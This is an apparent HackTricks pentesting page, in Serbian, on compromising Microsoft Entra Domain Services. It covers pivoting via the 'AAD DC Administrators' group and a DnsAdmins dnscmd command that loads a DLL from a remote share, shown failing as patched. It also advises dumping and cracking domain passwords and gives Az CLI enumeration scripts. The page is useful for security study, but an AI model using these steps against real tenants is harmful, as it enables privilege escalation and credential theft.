# Az - Microsoft Entra Domain Services

{{#include ../../../../banners/hacktricks-training.md}}

## Domain Services

Microsoft Entra Domain Services omogućava postavljanje Active Directory u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima).

Njegov glavni cilj je da vam omogući pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili gde ne želite da pretrage direktorijuma uvek idu nazad na on-premises AD DS okruženje.

Napomena: da biste sinhronizovali korisnike generisane u Entra ID (i ne sinhronizovane iz drugih aktivnih direktorijuma) sa AD domen servisom, potrebno je da **promenite lozinku korisnika** na novu kako bi mogla biti sinhronizovana sa novim AD. Zapravo, korisnik se ne sinhronizuje iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni.

> [!WARNING]
> Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći potpuno da njome upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih **sinhronizovanjem korisnika iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo korisnike u oblaku (korisnike kreirane u Entra ID), ili čak **da ih dodatno filtrirate**.

> [!NOTE]
> Uopšteno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je i dalje zanimljivo znati kako ga kompromitovati.

### Pivoting

Članovi generisane **`AAD DC Administrators`** grupe imaju lokalne administratorske dozvole na VM-ovima koji su pridruženi upravljanoj domeni (ali ne i na domain controllers) jer su dodati u lokalnu grupu administratora. Članovi ove grupe takođe mogu koristiti **Remote Desktop za daljinsko povezivanje na domain-joined VM-ove**, i takođe su članovi grupa:

- **`Denied RODC Password Replication Group`**: Ovo je grupa koja specificira korisnike i grupe čije lozinke ne mogu biti keširane na RODC-ima (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu primeniti grupne politike na korisnike ili grupe ili uređivati postojeće GPO-ove, tako da nije toliko zanimljivo u ovom okruženju.
- **`DnsAdmins`**: Ova grupa omogućava upravljanje DNS podešavanjima i zloupotrebljena je u prošlosti da [poveća privilegije i kompromituje domen](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), međutim nakon testiranja napada u ovom okruženju provereno je da je ranjivost zakrpljena:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```
Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa **`AAD DC Administrators`** postavlja kao član prethodnih grupa, a takođe se GPO **`AADDC Computers GPO`** dodaje kao lokalni administratori svim članovima domena grupe **`AAD DC Administrators`**.

Prebacivanje sa Entra ID na AD kreiran sa Domain Services je jednostavno, samo dodajte korisnika u grupu **`AAD DC Administrators`**, pristupite putem RDP-a bilo kojoj/svim mašinama u domenu i moći ćete da ukradete podatke i takođe **kompromitujete domen.**

Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove koji su pridruženi jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe **izbacite sve lozinke korisnika iz domena** i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure.

> [!NOTE]
> Napomena da su u prošlosti pronađene druge ranjivosti u ovom upravljanom AD-u koje su omogućile kompromitovanje DC-ova, [kao što je ova](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Napadač koji kompromituje DC mogao bi vrlo lako održati postojanost bez da Azure administratori primete ili čak budu u mogućnosti da je uklone.

### Enumeracija
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
